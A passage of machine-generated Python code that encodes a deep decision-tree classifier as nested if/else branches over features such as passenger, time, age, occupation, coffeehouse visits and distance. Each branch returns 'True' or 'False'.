'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]>2: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[4]>2: # {"feature": "Gender", "instances": 100, "metric_value": 0.4744, "depth": 6} if obj[3]>0: # {"feature": "Passanger", "instances": 50, "metric_value": 0.4681, "depth": 7} if obj[0]<=2: # {"feature": "Distance", "instances": 47, "metric_value": 0.4617, "depth": 8} if obj[12]>1: # {"feature": "Coffeehouse", "instances": 30, "metric_value": 0.4159, "depth": 9} if obj[9]>1.0: # {"feature": "Education", "instances": 22, "metric_value": 0.3409, "depth": 10} if obj[6]<=0: # {"feature": "Direction_same", "instances": 16, "metric_value": 0.4038, "depth": 11} if obj[11]<=0: # {"feature": "Occupation", "instances": 13, "metric_value": 0.4487, "depth": 12} if obj[7]>1: # {"feature": "Time", "instances": 12, "metric_value": 0.4792, "depth": 13} if obj[1]>0: return 'False' elif obj[1]<=0: return 'True' else: return 'True' elif obj[7]<=1: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[6]>0: return 'False' else: return 'False' elif obj[9]<=1.0: # {"feature": "Time", "instances": 8, "metric_value": 0.3667, "depth": 10} if obj[1]>0: # {"feature": "Occupation", "instances": 5, "metric_value": 0.2, "depth": 11} if obj[7]>1: return 'True' elif obj[7]<=1: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[6]<=1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Occupation", "instances": 3, "metric_value": 0.0, "depth": 11} if obj[7]<=2: return 'False' elif obj[7]>2: return 'True' else: return 'True' else: return 'False' else: return 'True' elif obj[12]<=1: # {"feature": "Occupation", "instances": 17, "metric_value": 0.3899, "depth": 9} if obj[7]>1: # {"feature": "Time", "instances": 10, "metric_value": 0.3, "depth": 10} if obj[1]>0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.2143, "depth": 11} if obj[11]<=0: # {"feature": "Education", "instances": 7, "metric_value": 0.1429, "depth": 12} if obj[6]<=0: return 'True' elif obj[6]>0: # {"feature": "Coffeehouse", "instances": 2, "metric_value": 0.0, "depth": 13} if obj[9]<=0.0: return 'True' elif obj[9]>0.0: return 'False' else: return 'False' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]<=0: return 'True' else: return 'True' elif obj[7]<=1: # {"feature": "Coffeehouse", "instances": 7, "metric_value": 0.3429, "depth": 10} if obj[9]<=2.0: # {"feature": "Time", "instances": 5, "metric_value": 0.2667, "depth": 11} if obj[1]<=1: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[6]>1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=1: return 'True' else: return 'True' elif obj[6]<=1: return 'False' else: return 'False' elif obj[1]>1: return 'True' else: return 'True' elif obj[9]>2.0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[0]>2: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Education", "instances": 50, "metric_value": 0.4162, "depth": 7} if obj[6]>0: # {"feature": "Coffeehouse", "instances": 27, "metric_value": 0.3085, "depth": 8} if obj[9]>1.0: # {"feature": "Passanger", "instances": 17, "metric_value": 0.1412, "depth": 9} if obj[0]>0: return 'True' elif obj[0]<=0: # {"feature": "Time", "instances": 5, "metric_value": 0.2667, "depth": 10} if obj[1]>0: # {"feature": "Occupation", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[7]>2: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[11]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=1: return 'True' else: return 'True' else: return 'True' elif obj[7]<=2: return 'False' else: return 'False' elif obj[1]<=0: return 'True' else: return 'True' else: return 'True' elif obj[9]<=1.0: # {"feature": "Passanger", "instances": 10, "metric_value": 0.4, "depth": 9} if obj[0]<=1: # {"feature": "Time", "instances": 9, "metric_value": 0.381, "depth": 10} if obj[1]<=1: # {"feature": "Distance", "instances": 7, "metric_value": 0.3429, "depth": 11} if obj[12]<=2: # {"feature": "Occupation", "instances": 5, "metric_value": 0.3, "depth": 12} if obj[7]>6: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.25, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[7]<=6: return 'True' else: return 'True' elif obj[12]>2: return 'True' else: return 'True' elif obj[1]>1: return 'True' else: return 'True' elif obj[0]>1: return 'False' else: return 'False' else: return 'True' elif obj[6]<=0: # {"feature": "Distance", "instances": 23, "metric_value": 0.4101, "depth": 8} if obj[12]<=2: # {"feature": "Passanger", "instances": 17, "metric_value": 0.4235, "depth": 9} if obj[0]<=1: # {"feature": "Coffeehouse", "instances": 15, "metric_value": 0.44, "depth": 10} if obj[9]<=1.0: # {"feature": "Time", "instances": 10, "metric_value": 0.4444, "depth": 11} if obj[1]<=3: # {"feature": "Occupation", "instances": 9, "metric_value": 0.381, "depth": 12} if obj[7]>5: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.4857, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[7]<=5: return 'False' else: return 'False' elif obj[1]>3: return 'True' else: return 'True' elif obj[9]>1.0: # {"feature": "Time", "instances": 5, "metric_value": 0.2667, "depth": 11} if obj[1]>0: # {"feature": "Occupation", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[7]<=7: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: return 'True' else: return 'True' else: return 'True' elif obj[0]>1: return 'True' else: return 'True' elif obj[12]>2: # {"feature": "Time", "instances": 6, "metric_value": 0.1667, "depth": 9} if obj[1]>0: return 'False' elif obj[1]<=0: # {"feature": "Occupation", "instances": 2, "metric_value": 0.0, "depth": 10} if obj[7]>7: return 'True' elif obj[7]<=7: return 'False' else: return 'False' else: return 'True' else: return 'False' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[8]>1.0: # {"feature": "Restaurant20to50", "instances": 680, "metric_value": 0.4641, "depth": 3} if obj[10]<=1.0: # {"feature": "Time", "instances": 365, "metric_value": 0.4856, "depth": 4} if obj[1]>0: # {"feature": "Passanger", "instances": 267, "metric_value": 0.4792, "depth": 5} if obj[0]<=2: # {"feature": "Occupation", "instances": 207, "metric_value": 0.4675, "depth": 6} if obj[7]<=14.155999220544217: # {"feature": "Distance", "instances": 174, "metric_value": 0.4853, "depth": 7} if obj[12]<=2: # {"feature": "Age", "instances": 128, "metric_value": 0.4792, "depth": 8} if obj[4]<=4: # {"feature": "Coffeehouse", "instances": 120, "metric_value": 0.4839, "depth": 9} if obj[9]<=2.0: # {"feature": "Education", "instances": 75, "metric_value": 0.4876, "depth": 10} if obj[6]>1: # {"feature": "Children", "instances": 42, "metric_value": 0.4937, "depth": 11} if obj[5]<=0: # {"feature": "Direction_same", "instances": 30, "metric_value": 0.4643, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 28, "metric_value": 0.4949, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Gender", "instances": 12, "metric_value": 0.3333, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4286, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]<=1: # {"feature": "Gender", "instances": 33, "metric_value": 0.4563, "depth": 11} if obj[3]<=0: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.362, "depth": 12} if obj[11]<=0: # {"feature": "Children", "instances": 13, "metric_value": 0.4573, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 16, "metric_value": 0.4667, "depth": 12} if obj[11]<=0: # {"feature": "Children", "instances": 15, "metric_value": 0.4786, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[9]>2.0: # {"feature": "Education", "instances": 45, "metric_value": 0.4387, "depth": 10} if obj[6]>0: # {"feature": "Children", "instances": 34, "metric_value": 0.4673, "depth": 11} if obj[5]<=0: # {"feature": "Direction_same", "instances": 23, "metric_value": 0.4306, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 21, "metric_value": 0.4694, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.3409, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 8, "metric_value": 0.375, "depth": 13} if obj[3]<=0: return 'True' elif obj[3]>0: return 'False' else: return 'False' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]<=0: # {"feature": "Gender", "instances": 11, "metric_value": 0.2597, "depth": 11} if obj[3]>0: # {"feature": "Children", "instances": 7, "metric_value": 0.3429, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.4, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[5]>0: return 'False' else: return 'False' elif obj[3]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[4]>4: # {"feature": "Coffeehouse", "instances": 8, "metric_value": 0.1875, "depth": 9} if obj[9]>1.0: return 'False' elif obj[9]<=1.0: # {"feature": "Education", "instances": 4, "metric_value": 0.25, "depth": 10} if obj[6]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]>0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[12]>2: # {"feature": "Children", "instances": 46, "metric_value": 0.4369, "depth": 8} if obj[5]<=0: # {"feature": "Coffeehouse", "instances": 34, "metric_value": 0.4592, "depth": 9} if obj[9]<=2.0: # {"feature": "Age", "instances": 20, "metric_value": 0.4768, "depth": 10} if obj[4]<=2: # {"feature": "Education", "instances": 11, "metric_value": 0.3818, "depth": 11} if obj[6]<=3: # {"feature": "Gender", "instances": 10, "metric_value": 0.4, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]>0: return 'False' else: return 'False' elif obj[6]>3: return 'True' else: return 'True' elif obj[4]>2: # {"feature": "Education", "instances": 9, "metric_value": 0.4167, "depth": 11} if obj[6]<=2: # {"feature": "Gender", "instances": 8, "metric_value": 0.4667, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[6]>2: return 'False' else: return 'False' else: return 'True' elif obj[9]>2.0: # {"feature": "Education", "instances": 14, "metric_value": 0.3297, "depth": 10} if obj[6]<=2: # {"feature": "Age", "instances": 13, "metric_value": 0.3231, "depth": 11} if obj[4]>1: # {"feature": "Gender", "instances": 10, "metric_value": 0.4167, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[4]<=1: return 'True' else: return 'True' elif obj[6]>2: return 'False' else: return 'False' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 12, "metric_value": 0.2, "depth": 9} if obj[3]<=0: return 'True' elif obj[3]>0: # {"feature": "Age", "instances": 5, "metric_value": 0.3, "depth": 10} if obj[4]>0: # {"feature": "Coffeehouse", "instances": 4, "metric_value": 0.25, "depth": 11} if obj[9]<=2.0: return 'True' elif obj[9]>2.0: # {"feature": "Education", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[6]>2: return 'True' elif obj[6]<=2: return 'False' else: return 'False' else: return 'True' elif obj[4]<=0: return 'False' else: return 'False' else: return 'True' else: return 'True' else: return 'True' elif obj[7]>14.155999220544217: # {"feature": "Age", "instances": 33, "metric_value": 0.2458, "depth": 7} if obj[4]<=2: # {"feature": "Gender", "instances": 24, "metric_value": 0.1212, "depth": 8} if obj[3]<=0: # {"feature": "Coffeehouse", "instances": 22, "metric_value": 0.0808, "depth": 9} if obj[9]>2.0: return 'False' elif obj[9]<=2.0: # {"feature": "Distance", "instances": 9, "metric_value": 0.1111, "depth": 10} if obj[12]>1: return 'False' elif obj[12]<=1: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=1: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[6]<=3: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[3]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.0, "depth": 9} if obj[11]>0: return 'True' elif obj[11]<=0: return 'False' else: return 'False' else: return 'True' elif obj[4]>2: # {"feature": "Distance", "instances": 9, "metric_value": 0.2963, "depth": 8} if obj[12]>1: # {"feature": "Coffeehouse", "instances": 6, "metric_value": 0.2222, "depth": 9} if obj[9]>1.0: return 'True' elif obj[9]<=1.0: # {"feature": "Children", "instances": 3, "metric_value": 0.3333, "depth": 10} if obj[5]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[3]<=0: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[6]<=2: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'False' elif obj[12]<=1: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[0]>2: # {"feature": "Age", "instances": 60, "metric_value": 0.4169, "depth": 6} if obj[4]<=6: # {"feature": "Coffeehouse", "instances": 59, "metric_value": 0.3999, "depth": 7} if obj[9]<=2.0: # {"feature": "Children", "instances": 43, "metric_value": 0.438, "depth": 8} if obj[5]<=0: # {"feature": "Occupation", "instances": 35, "metric_value": 0.419, "depth": 9} if obj[7]<=16: # {"feature": "Education", "instances": 33, "metric_value": 0.4409, "depth": 10} if obj[6]<=2: # {"feature": "Gender", "instances": 31, "metric_value": 0.4363, "depth": 11} if obj[3]<=0: # {"feature": "Distance", "instances": 24, "metric_value": 0.4351, "depth": 12} if obj[12]>1: # {"feature": "Direction_same", "instances": 19, "metric_value": 0.4654, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[12]<=1: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Distance", "instances": 7, "metric_value": 0.2381, "depth": 12} if obj[12]>1: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[12]<=1: return 'False' else: return 'False' else: return 'True' elif obj[6]>2: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 11} if obj[3]>0: return 'False' elif obj[3]<=0: return 'True' else: return 'True' else: return 'False' elif obj[7]>16: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 8, "metric_value": 0.375, "depth": 9} if obj[3]<=0: # {"feature": "Occupation", "instances": 6, "metric_value": 0.25, "depth": 10} if obj[7]<=15: # {"feature": "Education", "instances": 4, "metric_value": 0.25, "depth": 11} if obj[6]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[11]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=2: return 'False' else: return 'False' else: return 'False' elif obj[6]<=0: return 'True' else: return 'True' elif obj[7]>15: return 'False' else: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' elif obj[9]>2.0: # {"feature": "Education", "instances": 16, "metric_value": 0.1786, "depth": 8} if obj[6]<=2: # {"feature": "Occupation", "instances": 14, "metric_value": 0.1143, "depth": 9} if obj[7]>6: return 'True' elif obj[7]<=6: # {"feature": "Gender", "instances": 5, "metric_value": 0.2667, "depth": 10} if obj[3]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.0, "depth": 11} if obj[5]<=0: return 'True' elif obj[5]>0: return 'False' else: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]>2: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 9} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'False' else: return 'True' elif obj[4]>6: return 'False' else: return 'False' else: return 'True' elif obj[1]<=0: # {"feature": "Passanger", "instances": 98, "metric_value": 0.4319, "depth": 5} if obj[0]<=1: # {"feature": "Distance", "instances": 90, "metric_value": 0.4178, "depth": 6} if obj[12]<=1: # {"feature": "Occupation", "instances": 46, "metric_value": 0.3188, "depth": 7} if obj[7]>3: # {"feature": "Gender", "instances": 33, "metric_value": 0.4139, "depth": 8} if obj[3]<=0: # {"feature": "Age", "instances": 26, "metric_value": 0.3523, "depth": 9} if obj[4]<=5: # {"feature": "Education", "instances": 23, "metric_value": 0.3066, "depth": 10} if obj[6]<=2: # {"feature": "Coffeehouse", "instances": 19, "metric_value": 0.2481, "depth": 11} if obj[9]<=2.0: # {"feature": "Children", "instances": 14, "metric_value": 0.3214, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 12, "metric_value": 0.375, "depth": 13} if obj[11]<=1: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[9]>2.0: return 'True' else: return 'True' elif obj[6]>2: # {"feature": "Coffeehouse", "instances": 4, "metric_value": 0.3333, "depth": 11} if obj[9]<=2.0: # {"feature": "Children", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=1: return 'True' else: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[9]>2.0: return 'False' else: return 'False' else: return 'False' elif obj[4]>5: # {"feature": "Coffeehouse", "instances": 3, "metric_value": 0.0, "depth": 10} if obj[9]<=1.0: return 'False' elif obj[9]>1.0: return 'True' else: return 'True' else: return 'False' elif obj[3]>0: # {"feature": "Coffeehouse", "instances": 7, "metric_value": 0.2286, "depth": 9} if obj[9]<=2.0: # {"feature": "Age", "instances": 5, "metric_value": 0.0, "depth": 10} if obj[4]>0: return 'False' elif obj[4]<=0: return 'True' else: return 'True' elif obj[9]>2.0: return 'True' else: return 'True' else: return 'False' elif obj[7]<=3: return 'True' else: return 'True' elif obj[12]>1: # {"feature": "Occupation", "instances": 44, "metric_value": 0.4325, "depth": 7} if obj[7]>4: # {"feature": "Education", "instances": 33, "metric_value": 0.3866, "depth": 8} if obj[6]>0: # {"feature": "Coffeehouse", "instances": 23, "metric_value": 0.4551, "depth": 9} if obj[9]<=2.0: # {"feature": "Age", "instances": 15, "metric_value": 0.4636, "depth": 10} if obj[4]>0: # {"feature": "Gender", "instances": 11, "metric_value": 0.4949, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 9, "metric_value": 0.4921, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.4898, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[4]<=0: # {"feature": "Gender", "instances": 4, "metric_value": 0.3333, "depth": 11} if obj[3]>0: # {"feature": "Children", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' else: return 'True' elif obj[9]>2.0: # {"feature": "Gender", "instances": 8, "metric_value": 0.1667, "depth": 10} if obj[3]<=0: return 'True' elif obj[3]>0: # {"feature": "Age", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[4]>2: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[4]<=2: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[6]<=0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.0, "depth": 9} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' elif obj[7]<=4: # {"feature": "Coffeehouse", "instances": 11, "metric_value": 0.3697, "depth": 8} if obj[9]>1.0: # {"feature": "Education", "instances": 6, "metric_value": 0.1667, "depth": 9} if obj[6]>0: return 'False' elif obj[6]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 10} if obj[3]>0: return 'False' elif obj[3]<=0: return 'True' else: return 'True' else: return 'False' elif obj[9]<=1.0: # {"feature": "Age", "instances": 5, "metric_value": 0.3, "depth": 9} if obj[4]>0: # {"feature": "Gender", "instances": 4, "metric_value": 0.3333, "depth": 10} if obj[3]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[5]<=0: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[6]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' elif obj[4]<=0: return 'False' else: return 'False' else: return 'True' else: return 'False' else: return 'True' elif obj[0]>1: # {"feature": "Age", "instances": 8, "metric_value": 0.3, "depth": 6} if obj[4]>0: # {"feature": "Education", "instances": 5, "metric_value": 0.3, "depth": 7} if obj[6]>0: # {"feature": "Occupation", "instances": 4, "metric_value": 0.0, "depth": 8} if obj[7]>5: return 'True' elif obj[7]<=5: return 'False' else: return 'False' elif obj[6]<=0: return 'False' else: return 'False' elif obj[4]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[10]>1.0: # {"feature": "Education", "instances": 315, "metric_value": 0.417, "depth": 4} if obj[6]>1: # {"feature": "Time", "instances": 197, "metric_value": 0.451, "depth": 5} if obj[1]>0: # {"feature": "Passanger", "instances": 150, "metric_value": 0.4737, "depth": 6} if obj[0]<=2: # {"feature": "Coffeehouse", "instances": 119, "metric_value": 0.462, "depth": 7} if obj[9]<=3.0: # {"feature": "Occupation", "instances": 94, "metric_value": 0.4693, "depth": 8} if obj[7]<=17: # {"feature": "Age", "instances": 82, "metric_value": 0.4832, "depth": 9} if obj[4]>0: # {"feature": "Distance", "instances": 70, "metric_value": 0.4695, "depth": 10} if obj[12]>1: # {"feature": "Direction_same", "instances": 43, "metric_value": 0.4213, "depth": 11} if obj[11]<=0: # {"feature": "Children", "instances": 39, "metric_value": 0.4217, "depth": 12} if obj[5]<=0: # {"feature": "Gender", "instances": 30, "metric_value": 0.4444, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Gender", "instances": 9, "metric_value": 0.3444, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Gender", "instances": 4, "metric_value": 0.3333, "depth": 12} if obj[3]>0: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[5]<=0: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' else: return 'True' elif obj[12]<=1: # {"feature": "Children", "instances": 27, "metric_value": 0.4701, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 26, "metric_value": 0.455, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 15, "metric_value": 0.4974, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.3967, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'True' elif obj[4]<=0: # {"feature": "Children", "instances": 12, "metric_value": 0.3704, "depth": 10} if obj[5]<=0: # {"feature": "Distance", "instances": 9, "metric_value": 0.381, "depth": 11} if obj[12]<=2: # {"feature": "Gender", "instances": 7, "metric_value": 0.4048, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.3333, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[12]>2: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' elif obj[7]>17: # {"feature": "Age", "instances": 12, "metric_value": 0.2222, "depth": 9} if obj[4]>2: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4, "depth": 10} if obj[11]<=0: # {"feature": "Distance", "instances": 5, "metric_value": 0.4, "depth": 11} if obj[12]<=2: # {"feature": "Gender", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[3]<=1: # {"feature": "Children", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[5]<=1: return 'True' else: return 'True' else: return 'True' elif obj[12]>2: return 'True' else: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[4]<=2: return 'True' else: return 'True' else: return 'True' elif obj[9]>3.0: # {"feature": "Direction_same", "instances": 25, "metric_value": 0.2087, "depth": 8} if obj[11]<=0: # {"feature": "Children", "instances": 23, "metric_value": 0.1957, "depth": 9} if obj[5]<=0: # {"feature": "Distance", "instances": 12, "metric_value": 0.3429, "depth": 10} if obj[12]>1: # {"feature": "Occupation", "instances": 7, "metric_value": 0.1905, "depth": 11} if obj[7]<=1: return 'True' elif obj[7]>1: # {"feature": "Age", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[4]<=1: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[3]<=0: return 'True' else: return 'True' elif obj[4]>1: return 'True' else: return 'True' else: return 'True' elif obj[12]<=1: # {"feature": "Gender", "instances": 5, "metric_value": 0.4667, "depth": 11} if obj[3]>0: # {"feature": "Age", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[4]>1: # {"feature": "Occupation", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[7]<=16: return 'True' else: return 'True' elif obj[4]<=1: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Age", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[4]<=1: # {"feature": "Occupation", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[7]<=1: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' elif obj[0]>2: # {"feature": "Coffeehouse", "instances": 31, "metric_value": 0.2184, "depth": 7} if obj[9]<=3.0: # {"feature": "Occupation", "instances": 26, "metric_value": 0.1918, "depth": 8} if obj[7]<=17: # {"feature": "Age", "instances": 23, "metric_value": 0.083, "depth": 9} if obj[4]<=5: # {"feature": "Gender", "instances": 22, "metric_value": 0.0844, "depth": 10} if obj[3]<=0: # {"feature": "Children", "instances": 14, "metric_value": 0.131, "depth": 11} if obj[5]<=0: # {"feature": "Distance", "instances": 12, "metric_value": 0.15, "depth": 12} if obj[12]>1: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.18, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[12]<=1: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' elif obj[4]>5: return 'False' else: return 'False' elif obj[7]>17: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 9} if obj[3]>0: # {"feature": "Age", "instances": 2, "metric_value": 0.5, "depth": 10} if obj[4]<=3: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[11]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=2: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[3]<=0: return 'False' else: return 